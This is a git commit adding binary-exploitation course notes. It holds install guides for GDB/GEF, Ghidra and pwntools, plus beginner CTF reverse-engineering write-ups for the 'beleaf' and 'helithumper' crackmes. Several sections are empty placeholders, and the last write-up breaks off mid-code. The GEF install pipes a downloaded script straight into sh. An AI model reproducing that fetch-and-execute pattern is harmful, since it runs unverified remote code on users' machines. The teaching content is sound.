add hacking blogposts as they are

This commit is contained in:
oxeo0 2025-05-07 01:02:00 +02:00
parent fa65088be1
commit 325b9c3814
1904 changed files with 91353 additions and 0 deletions

BIN
0.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 24 KiB

38
0/0.md Normal file
View file

@ -0,0 +1,38 @@
# Binary Exploitation
## Title
text
` ![]()
## Title
text
` ![]()
## Title
text
` ![]()
## Title
text
` ![]()

BIN
0/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 176 KiB

BIN
0/10.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 431 KiB

BIN
0/11.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 504 KiB

BIN
0/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

BIN
0/3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 155 KiB

BIN
0/4.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

BIN
0/5.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 293 KiB

BIN
0/6.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

BIN
0/7.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 130 KiB

BIN
0/8.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 138 KiB

BIN
0/9.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

140
0/gdb.md Normal file
View file

@ -0,0 +1,140 @@
# GDB + GEF
GDB, the GNU project debugger, allows you to see what is going on inside another program while it executes, or what said program was doing at the moment it crashed. GDB supports Ada, Assembly, C, C++, D, Frotan, Go, Objective-C, OpenCL, Modula-2, Pascal and Rust. For more information, click [here](https://www.gnu.org/software/gdb/).
However, GDB is very old school, so we will use GEF to enhance the usage of gdb, it is a set of commands for x86/64, ARM, MIPS,PowerPC and SPARC that provides additional features to GDB using the Python API to assist during the dynamic analysis and exploit development. For more information, click [here](https://github.com/hugsy/gef).
## Installation
To install gdb you can find it in most repositories of popular linux distributions:
#Arch Linux:
[ 192.168.0.18/24 ] [ /dev/pts/15 ] [~]
→ pacman -Ss gdb
extra/gdb 10.1-4
The GNU Debugger
[ 192.168.0.18/24 ] [ /dev/pts/15 ] [~]
→ pacman -S gdb
#Kali / Debian:
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
→ apt search gdb
gdb/kali-rolling,now 10.1-1.7 amd64 [installed]
GNU Debugger
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
→ apt install gdb -y
To install GEF we will follow the instructions from the main website:
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
→ sh -c "$(wget http://gef.blah.cat/sh -O -)"
--2021-02-21 16:20:00-- http://gef.blah.cat/sh
Resolving gef.blah.cat (gef.blah.cat)... 40.121.232.30
Connecting to gef.blah.cat (gef.blah.cat)|40.121.232.30|:80... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://github.com/hugsy/gef/raw/master/scripts/gef.sh [following]
--2021-02-21 16:20:01-- https://github.com/hugsy/gef/raw/master/scripts/gef.sh
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/hugsy/gef/master/scripts/gef.sh [following]
--2021-02-21 16:20:01-- https://raw.githubusercontent.com/hugsy/gef/master/scripts/gef.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 565 [text/plain]
Saving to: STDOUT
- 100%[=================================================================================================================================================================>] 565 --.-KB/s in 0s
2021-02-21 16:20:01 (49.8 MB/s) - written to stdout [565/565]
sh: 6: test: unexpected operator
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
→ ls -lash ~/.gdbinit
4.0K -rw-r--r-- 1 nothing nothing 58 Feb 21 16:20 /home/nothing/.gdbinit
Now when you try to launch gdb, you see that you are correctly launching gef:
![](1.png)
If you get any errors as you launch gdb - gef for the first time, just run the required pip install commands:
![](2.png)
gef➤ q
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
→ sudo apt install python3-pip -y
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
→ pip3 install keystone-engine unicorn ropper
Collecting keystone-engine
Downloading keystone_engine-0.9.2-py2.py3-none-manylinux1_x86_64.whl (1.8 MB)
|████████████████████████████████| 1.8 MB 2.3 MB/s
Collecting unicorn
Downloading unicorn-1.0.2-py2.py3-none-manylinux1_x86_64.whl (8.1 MB)
|████████████████████████████████| 8.1 MB 6.3 MB/s
Collecting ropper
Downloading ropper-1.13.6.tar.gz (71 kB)
|████████████████████████████████| 71 kB 2.2 MB/s
Collecting filebytes>=0.10.0
Downloading filebytes-0.10.2.tar.gz (20 kB)
Building wheels for collected packages: ropper, filebytes
Building wheel for ropper (setup.py) ... done
Created wheel for ropper: filename=ropper-1.13.6-py3-none-any.whl size=99735 sha256=2f90a4e8a5b14f1c8c3abd0700b1e56ff8dbc7f3d165a5f69790c31cedd8948b
Stored in directory: /home/nothing/.cache/pip/wheels/77/a4/5d/a4bc1b653bdcce30a17b5cdda8f19da11444bb8640d03ab678
Building wheel for filebytes (setup.py) ... done
Created wheel for filebytes: filename=filebytes-0.10.2-py3-none-any.whl size=27853 sha256=17cf4812a6b16ee7c92a4ba259326c61fbfab4cf3c05ace2cb627a0de892d27f
Stored in directory: /home/nothing/.cache/pip/wheels/c2/51/58/98925d75705ee4df10da42a098d956183bb70661698fd07753
Successfully built ropper filebytes
Installing collected packages: keystone-engine, unicorn, filebytes, ropper
WARNING: The script ropper is installed in '/home/nothing/.local/bin' which is not on PATH.
Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.
Successfully installed filebytes-0.10.2 keystone-engine-0.9.2 ropper-1.13.6 unicorn-1.0.2
Once you're here, you're good to go
![](3.png)
## Title
text
` ![]()
## Title
text
` ![]()
## Title
text
` ![]()

164
0/ghidra.md Normal file
View file

@ -0,0 +1,164 @@
# Ghidra
Ghidra is a software reverse engineering (SRE) framework created and maintained by the National Security Agency Research Directorate. This framework includes a suite of full-featured, high-end software analysis tools that enable users to analyze compiled code on a variety of platforms including Windows, macOS, and Linux. Capabilities include disassembly, assembly, decompilation, graphing, and scripting, along with hundreds of other features. Ghidra supports a wide variety of processor instruction sets and executable formats and can be run in both user-interactive and automated modes.
## Installation
To install Ghidra, we will follow the instructions listed [here](https://www.ghidra-sre.org/InstallationGuide.html)
First install java:
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
→ sudo apt update -y ; sudo apt upgrade -y ; sudo apt install default-jdk -y
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~]
→ java -version
openjdk version "11.0.10" 2021-01-19
OpenJDK Runtime Environment (build 11.0.10+9-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.10+9-post-Debian-1, mixed mode, sharing)
From here, just go to ghidra's main website to download the zip file:
![](4.png)
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra]
→ wget https://www.ghidra-sre.org/ghidra_9.2.2_PUBLIC_20201229.zip
--2021-02-21 23:10:29-- https://www.ghidra-sre.org/ghidra_9.2.2_PUBLIC_20201229.zip
Resolving www.ghidra-sre.org (www.ghidra-sre.org)... 13.249.9.44, 13.249.9.83, 13.249.9.20, ...
Connecting to www.ghidra-sre.org (www.ghidra-sre.org)|13.249.9.44|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 317805407 (303M) [application/zip]
Saving to: ghidra_9.2.2_PUBLIC_20201229.zip
ghidra_9.2.2_PUBLIC_20201229.zip 100%[=======================================================================================================================================================================================================>] 303.08M 10.9MB/s in 29s
2021-02-21 23:10:58 (10.5 MB/s) - ghidra_9.2.2_PUBLIC_20201229.zip saved [317805407/317805407]
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra]
→ unzip ghidra_9.2.2_PUBLIC_20201229.zip
Now from here, we need the ghidraRun binary to launch ghidra:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra]
→ ls -l
total 310368
drwxr-xr-x 9 nothing nothing 4096 Dec 29 17:22 ghidra_9.2.2_PUBLIC
-rw-r--r-- 1 nothing nothing 317805407 Jan 19 17:53 ghidra_9.2.2_PUBLIC_20201229.zip
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/Tools/ghidra]
→ cd ghidra_9.2.2_PUBLIC
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
→ ls
docs Extensions Ghidra ghidraRun ghidraRun.bat GPL LICENSE licenses server support
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
→ file ghidraRun
ghidraRun: Bourne-Again shell script, ASCII text executable
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
→ cat ghidraRun
#!/usr/bin/env bash
#----------------------------------------
# Ghidra launch
#----------------------------------------
# Maximum heap memory may be changed if default is inadequate. This will generally be up to 1/4 of
# the physical memory available to the OS. Uncomment MAXMEM setting if non-default value is needed.
#MAXMEM=2G
# Resolve symbolic link if present and get the directory this script lives in.
# NOTE: "readlink -f" is best but works on Linux only, "readlink" will only work if your PWD
# contains the link you are calling (which is the best we can do on macOS), and the "echo" is the
# fallback, which doesn't attempt to do anything with links.
SCRIPT_FILE="$(readlink -f "$0" 2>/dev/null || readlink "$0" 2>/dev/null || echo "$0")"
SCRIPT_DIR="${SCRIPT_FILE%/*}"
# Launch Ghidra
"${SCRIPT_DIR}"/support/launch.sh bg Ghidra "${MAXMEM}" "" ghidra.GhidraRun "$@"
To make it more convenient, i make a symlink to a folder in PATH:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
→ echo $PATH
/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
→ sudo ln -s $(pwd)/ghidraRun /usr/bin/ghidra
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
→ ls -lash /usr/bin/ghidra
0 lrwxrwxrwx 1 root root 56 Feb 21 23:19 /usr/bin/ghidra -> /home/nothing/Tools/ghidra/ghidra_9.2.2_PUBLIC/ghidraRun
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [Tools/ghidra/ghidra_9.2.2_PUBLIC]
→ which ghidra
/usr/bin/ghidra
From here you can just type ghidra in your terminal or in dmenu or rofi or whatever you want, it will open up ghidra for you:
![](5.png)
Here you get a nice tutorial to let you know about ghidra's functionnalities, but you will want to create a new project and giving it a directory location:
![](6.png)
Just to test, we're going to copy a random binary locally and import it
![](7.png)
[ 192.168.100.126/24 ] [ /dev/pts/3 ] [~/binexp]
→ cp /bin/lspci .
[ 192.168.100.126/24 ] [ /dev/pts/3 ] [~/binexp]
→ ls -lash lspci
92K -rwxr-xr-x 1 nothing nothing 92K Feb 21 23:27 lspci
` ![](8.png) ![](9.png) ![](10.png)
And there you have it! You now have an imported a binary file to disassemble.
![](11.png) ![]()
## Title
text
` ![]()
## Title
text
` ![]()
## Title
text
` ![]()

86
0/pwntools.md Normal file
View file

@ -0,0 +1,86 @@
# Python Pwntools
Pwntools is a python ctf library designed for rapid exploit development. It helps us write exploits quickly, thanks to the functionnalities behind it. Pwntools has python2 and python3 versions, In this course we will use the python3 version since it is the most up to date.
## Installation
The installation is fairly simple. Make sure you have python3 and python3-pip installed on your system, then run the following:
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
→ which python3 pip3
/usr/bin/python3
/usr/bin/pip3
[ 10.10.14.17/23 ] [ /dev/pts/3 ] [~]
→ sudo pip3 install pwn
[sudo] password for nothing:
Collecting pwn
Downloading pwn-1.0.tar.gz (1.1 kB)
Collecting pwntools
Downloading pwntools-4.3.1-py2.py3-none-any.whl (10.0 MB)
|████████████████████████████████| 10.0 MB 12.3 MB/s
Requirement already satisfied: six>=1.12.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (1.15.0)
Requirement already satisfied: pyserial>=2.7 in /usr/lib/python3/dist-packages (from pwntools->pwn) (3.5b0)
Requirement already satisfied: requests>=2.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.25.1)
Requirement already satisfied: pygments>=2.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.7.1)
Requirement already satisfied: intervaltree>=3.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (3.0.2)
Requirement already satisfied: paramiko>=1.15.2 in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.7.2)
Requirement already satisfied: sortedcontainers in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.1.0)
Requirement already satisfied: python-dateutil in /usr/lib/python3/dist-packages (from pwntools->pwn) (2.8.1)
Requirement already satisfied: packaging in /usr/lib/python3/dist-packages (from pwntools->pwn) (20.8)
Requirement already satisfied: pysocks in /usr/lib/python3/dist-packages (from pwntools->pwn) (1.7.1)
Collecting unicorn<1.0.2rc4,>=1.0.2rc1
Downloading unicorn-1.0.2rc3-py2.py3-none-manylinux1_x86_64.whl (8.1 MB)
|████████████████████████████████| 8.1 MB 4.2 MB/s
Requirement already satisfied: mako>=1.0.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (1.1.3)
Requirement already satisfied: pip>=6.0.8 in /usr/lib/python3/dist-packages (from pwntools->pwn) (20.1.1)
Collecting ropgadget>=5.3
Downloading ROPGadget-6.5-py3-none-any.whl (31 kB)
Requirement already satisfied: capstone>=3.0.5rc2 in /usr/lib/python3/dist-packages (from pwntools->pwn) (4.0.2)
Requirement already satisfied: pyelftools>=0.2.4 in /usr/lib/python3/dist-packages (from pwntools->pwn) (0.27)
Requirement already satisfied: psutil>=3.3.0 in /usr/lib/python3/dist-packages (from pwntools->pwn) (5.7.3)
Building wheels for collected packages: pwn
Building wheel for pwn (setup.py) ... done
Created wheel for pwn: filename=pwn-1.0-py3-none-any.whl size=1220 sha256=35c1e3da705801680c0b2d0b440b1da8836bc2b32b4343d4aa751ffcf26abf78
Stored in directory: /root/.cache/pip/wheels/34/a6/82/682ac94b58ae2e949908f11392d778574372a6cedc78b4b0a5
Successfully built pwn
Installing collected packages: unicorn, ropgadget, pwntools, pwn
Successfully installed pwn-1.0 pwntools-4.3.1 ropgadget-6.5 unicorn-1.0.2rc3
If you want the full documentation on pwntools, click [here](https://docs.pwntools.com/en/stable/).
![]()
## Title
text
` ![]()
## Title
text
` ![]()
## Title
text
` ![]()

84
1/0.md Normal file
View file

@ -0,0 +1,84 @@
# Binary Exploitation
## Downloading the binary file
` ![]()
## Solution
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
## Title
text
` ![]()
## Title
text
` ![]()

BIN
1/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 111 KiB

BIN
1/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 303 KiB

BIN
1/3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 552 KiB

BIN
1/4.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 780 KiB

BIN
1/5.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 252 KiB

BIN
1/6.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 759 KiB

BIN
1/7.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 454 KiB

402
1/beleaf.md Normal file
View file

@ -0,0 +1,402 @@
# CSAW 2019 Beleaf
## Downloading the binary file
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/csaw19_beleaf/beleaf
--2021-02-22 19:55:50-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/csaw19_beleaf/beleaf
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/csaw19_beleaf/beleaf [following]
--2021-02-22 19:55:51-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/csaw19_beleaf/beleaf
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.108.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7624 (7.4K) [application/octet-stream]
Saving to: beleaf
beleaf 100%[===============================================================================>] 7.45K --.-KB/s in 0.01s
2021-02-22 19:55:51 (676 KB/s) - beleaf saved [7624/7624]
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ file beleaf
beleaf: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6d305eed7c9bebbaa60b67403a6c6f2b36de3ca4, stripped
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ chmod +x beleaf
` ![]()
## Solution
Now, first things first, we are going to use pwntools' pwn tool to check the security of the binary file itself.
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ pwn checksec beleaf
[*] '/home/nothing/binexp/1/beleaf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
So we are dealing with a 64bit binary, that scans the input of the user and then checks it, very much like the previous challenge we solved, [helithumper](heli.html). So we're going to import the file into ghidra, and take a look at the main function
![](6.png)
Here the main function is not called 'main' like in the previous challenge, to do so i had to look for the 'Enter the flag >>>" print statement which happened to be in the FUN_001008a1 function as you can see in the screenshot above. The code that ghidra gives us says that our text input is called 'local_98' and then later on the length of our text input is passed into sVar1
undefined8 FUN_001008a1(void)
{
size_t sVar1;
long lVar2;
long in_FS_OFFSET;
ulong local_b0;
char local_98 [136];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter the flag\n>>> ");
__isoc99_scanf(&DAT;_00100a78,local_98);
sVar1 = strlen(local_98);
if (sVar1 < 0x21) {
puts("Incorrect!");
/* WARNING: Subroutine does not return */
exit(1);
}
local_b0 = 0;
while (local_b0 < sVar1) {
lVar2 = FUN_001007fa((int)local_98[local_b0]);
if (lVar2 != *(long *)(&DAT;_003014e0 + local_b0 * 8)) {
puts("Incorrect!");
/* WARNING: Subroutine does not return */
exit(1);
}
local_b0 = local_b0 + 1;
}
puts("Correct!");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
now let's look at what we need to get the 'correct' output, first of all if our input LENGTH (sVar1) is less than 0x21 or 33 bytes, we will get 'incorrect', so we need at least 33 characters:
if (sVar1 < 0x21) {
puts("Incorrect!");
/* WARNING: Subroutine does not return */
exit(1);
Then we see that we enter a for loop (which is a while loop with a variable being incremented (here it is local_b0))
while (local_b0 < sVar1) {
lVar2 = FUN_001007fa((int)local_98[local_b0]);
if (lVar2 != *(long *)(&DAT;_003014e0 + local_b0 * 8)) {
puts("Incorrect!");
/* WARNING: Subroutine does not return */
exit(1);
}
local_b0 = local_b0 + 1;
}
puts("Correct!");
in this for loop, each character of our text input (local_98 at the index 0,1,2,3 ... 32) gets passed into the 'FUN_001007fa' function the result of that function gets passed to the if statement as 'lVar2' to get checked against a certain '&DAT;_003014e0' which is basically an array, the if statement checks for the characters at offsets of 8. So let's double click it to see what it is:
DAT_003014e0 XREF[2]: FUN_001008a1:0010096b(*),
FUN_001008a1:00100972(R)
003014e0 01 ?? 01h
003014e1 00 ?? 00h
003014e2 00 ?? 00h
003014e3 00 ?? 00h
003014e4 00 ?? 00h
003014e5 00 ?? 00h
003014e6 00 ?? 00h
003014e7 00 ?? 00h
003014e8 09 ?? 09h
003014e9 00 ?? 00h
003014ea 00 ?? 00h
003014eb 00 ?? 00h
003014ec 00 ?? 00h
003014ed 00 ?? 00h
003014ee 00 ?? 00h
003014ef 00 ?? 00h
003014f0 11 ?? 11h
003014f1 00 ?? 00h
003014f2 00 ?? 00h
003014f3 00 ?? 00h
003014f4 00 ?? 00h
003014f5 00 ?? 00h
003014f6 00 ?? 00h
003014f7 00 ?? 00h
003014f8 27 ?? 27h '
003014f9 00 ?? 00h
003014fa 00 ?? 00h
003014fb 00 ?? 00h
003014fc 00 ?? 00h
003014fd 00 ?? 00h
003014fe 00 ?? 00h
003014ff 00 ?? 00h
00301500 02 ?? 02h
And here we see the bytes we need are at offsets of 8, so we have the following:
0x1 0x9 0x11 0x27 0x2
Now let's take a look at the 'FUN_001007fa' function that checks each of our input text characters:
![](7.png)
long FUN_001007fa(char param_1)
{
long local_10;
local_10 = 0;
while ((local_10 != -1 && ((int)param_1 != *(int *)(&DAT;_00301020 + local_10 * 4)))) {
if ((int)param_1 < *(int *)(&DAT;_00301020 + local_10 * 4)) {
local_10 = local_10 * 2 + 1;
}
else {
if (*(int *)(&DAT;_00301020 + local_10 * 4) < (int)param_1) {
local_10 = (local_10 + 1) * 2;
}
}
}
return local_10;
}
in here, each character of our input text gets passed as the param_1 charcater, and then the function basically looks at the 'DAT_003014e0' array with offsets of 4, the function tries to find at which index our input text characters are in this array, so let's see what is in that 'DAT_003014e0' array
DAT_00301020 XREF[6]: FUN_001007fa:00100820(*),
FUN_001007fa:00100827(R),
FUN_001007fa:00100844(*),
FUN_001007fa:0010084b(R),
FUN_001007fa:00100873(*),
FUN_001007fa:0010087a(R)
00301020 77 ?? 77h w
00301021 00 ?? 00h
00301022 00 ?? 00h
00301023 00 ?? 00h
00301024 66 ?? 66h f
00301025 00 ?? 00h
00301026 00 ?? 00h
00301027 00 ?? 00h
00301028 7b ?? 7Bh {
00301029 00 ?? 00h
0030102a 00 ?? 00h
0030102b 00 ?? 00h
0030102c 5f ?? 5Fh _
0030102d 00 ?? 00h
0030102e 00 ?? 00h
0030102f 00 ?? 00h
00301030 6e ?? 6Eh n
00301031 00 ?? 00h
00301032 00 ?? 00h
00301033 00 ?? 00h
00301034 79 ?? 79h y
00301035 00 ?? 00h
00301036 00 ?? 00h
00301037 00 ?? 00h
00301038 7d ?? 7Dh }
00301039 00 ?? 00h
0030103a 00 ?? 00h
0030103b 00 ?? 00h
0030103c ff ?? FFh
0030103d ff ?? FFh
0030103e ff ?? FFh
0030103f ff ?? FFh
00301040 62 ?? 62h b
00301041 00 ?? 00h
00301042 00 ?? 00h
00301043 00 ?? 00h
00301044 6c ?? 6Ch l
00301045 00 ?? 00h
00301046 00 ?? 00h
00301047 00 ?? 00h
00301048 72 ?? 72h r
00301049 00 ?? 00h
0030104a 00 ?? 00h
0030104b 00 ?? 00h
0030104c ff ?? FFh
0030104d ff ?? FFh
0030104e ff ?? FFh
0030104f ff ?? FFh
00301050 ff ?? FFh
00301051 ff ?? FFh
00301052 ff ?? FFh
00301053 ff ?? FFh
00301054 ff ?? FFh
00301055 ff ?? FFh
00301056 ff ?? FFh
00301057 ff ?? FFh
00301058 ff ?? FFh
00301059 ff ?? FFh
0030105a ff ?? FFh
0030105b ff ?? FFh
0030105c ff ?? FFh
0030105d ff ?? FFh
0030105e ff ?? FFh
0030105f ff ?? FFh
00301060 ff ?? FFh
00301061 ff ?? FFh
00301062 ff ?? FFh
00301063 ff ?? FFh
00301064 61 ?? 61h a
00301065 00 ?? 00h
00301066 00 ?? 00h
00301067 00 ?? 00h
00301068 65 ?? 65h e
00301069 00 ?? 00h
0030106a 00 ?? 00h
0030106b 00 ?? 00h
0030106c 69 ?? 69h i
[...]
now when you look at the characters in this array, you can get the feeling that you might be able to type flag{something} with it, so let's follow what the code does with the 2 arrays we found:
we know that the start of the 1020array is 00301020. The character f will output 1 because **((0x00301024 - 0x00301020) / 4) = 1** so this is equal to 1. This 1 also corresponds to the 14e0 array from earlier:
DAT_003014e0 XREF[2]: FUN_001008a1:0010096b(*),
FUN_001008a1:00100972(R)
003014e0 01 ?? 01h
003014e1 00 ?? 00h
003014e2 00 ?? 00h
003014e3 00 ?? 00h
003014e4 00 ?? 00h
003014e5 00 ?? 00h
003014e6 00 ?? 00h
003014e7 00 ?? 00h
003014e8 09 ?? 09h
003014e9 00 ?? 00h
003014ea 00 ?? 00h
003014eb 00 ?? 00h
003014ec 00 ?? 00h
003014ed 00 ?? 00h
003014ee 00 ?? 00h
003014ef 00 ?? 00h
003014f0 11 ?? 11h
003014f1 00 ?? 00h
003014f2 00 ?? 00h
003014f3 00 ?? 00h
003014f4 00 ?? 00h
003014f5 00 ?? 00h
003014f6 00 ?? 00h
003014f7 00 ?? 00h
003014f8 27 ?? 27h '
003014f9 00 ?? 00h
003014fa 00 ?? 00h
003014fb 00 ?? 00h
003014fc 00 ?? 00h
003014fd 00 ?? 00h
003014fe 00 ?? 00h
003014ff 00 ?? 00h
00301500 02 ?? 02h
[...]
and here you have to continue with the 0x9 value,**(0x00301020 + (4*9)) = 0x301044** this address corresponds to the l character
fl
11 is the third character **(0x00301020 + (4*11)) = 0x301064** this corresponds to the a character
fla
27 is the fourth character **(0x00301020 + (4*27)) = 0x3010bc** this corresponds to the g character
flag
from here you keep going and you end up with the following:
flag{we_beleaf_in_your_re_future}
so just run the binary with the flag to verify it is correct:
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ ./beleaf
Enter the flag
>>> flag{we_beleaf_in_your_re_future}
Correct!
## Title
text
` ![]()
## Title
text
` ![]()

294
1/heli.md Normal file
View file

@ -0,0 +1,294 @@
# Helithumper Reverse Engineering
## Downloading the binary file
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ wget https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/helithumper_re/rev
--2021-02-22 17:19:05-- https://github.com/guyinatuxedo/nightmare/raw/master/modules/03-beginner_re/helithumper_re/rev
Resolving github.com (github.com)... 140.82.121.4
Connecting to github.com (github.com)|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/helithumper_re/rev [following]
--2021-02-22 17:19:05-- https://raw.githubusercontent.com/guyinatuxedo/nightmare/master/modules/03-beginner_re/helithumper_re/rev
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16704 (16K) [application/octet-stream]
Saving to: rev
rev 100%[===============================================================================>] 16.31K --.-KB/s in 0s
2021-02-22 17:19:05 (37.3 MB/s) - rev saved [16704/16704]
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ file rev
rev: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e4dbcb1281821db359d566c68fea7380aeb27378, for GNU/Linux 3.2.0, not stripped
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ chmod +x rev
` ![]()
## Solution
Run the binary
[ 192.168.100.126/24 ] [ /dev/pts/1 ] [~/binexp/1]
→ ./rev
Welcome to the Salty Spitoon™, How tough are ya?
very though
Yeah right. Back to Weenie Hut Jr™ with ya
here the binary prints some text, then lets us input our text (here its 'very though') and then prints some text again. It is safe to assume that we will need to type the correct passphrase to get the correct output. So let's inspect the binary file from ghidra:
![](1.png) ![](2.png)
now from here we want to check out the main function of our binary file, so go into the symbol tree tab, into functions, into main, and we get the following code:
![](3.png)
bool main(void)
{
int iVar1;
void *pvVar2;
pvVar2 = calloc(0x32,1);
puts(&DAT;_00102008);
__isoc99_scanf(&DAT;_0010203b,pvVar2);
iVar1 = validate(pvVar2);
if (iVar1 == 0) {
puts(&DAT;_00102050);
}
else {
puts("Right this way...");
}
return iVar1 == 0;
}
now here we see something, first of all it does a scanf (to prompt for our input) and then moves our text into pvVar2, then, it calls a function called 'validate' and the result of that function gets put into iVar1 which determines if we get a correct answer or not. So let's inspect the 2 possibilities of the if statement:
if (iVar1 == 0) {
puts(&DAT;_00102050);
}
else {
puts("Right this way...");
}
From ghidra we see that this '&DAT;_00102050' is the string of characters we saw earlier:
![](5.png)
therefore, we do not want iVar1 to be equal to 0, we want iVar1 to be equal to 1
So the hint here is, what is being validated ? How is our input being validated ? we inspect the validate function which HAS TO return 1, if we want our iVar1 to be equal to 1:
![](4.png)
Which gives us the following code:
undefined8 validate(char *param_1)
{
size_t sVar1;
undefined8 uVar2;
long in_FS_OFFSET;
int local_50;
int local_48 [4];
undefined4 local_38;
undefined4 local_34;
undefined4 local_30;
undefined4 local_2c;
undefined4 local_28;
undefined4 local_24;
undefined4 local_20;
undefined4 local_1c;
undefined4 local_18;
undefined4 local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_48[0] = 0x66;
local_48[1] = 0x6c;
local_48[2] = 0x61;
local_48[3] = 0x67;
local_38 = 0x7b;
local_34 = 0x48;
local_30 = 0x75;
local_2c = 0x43;
local_28 = 0x66;
local_24 = 0x5f;
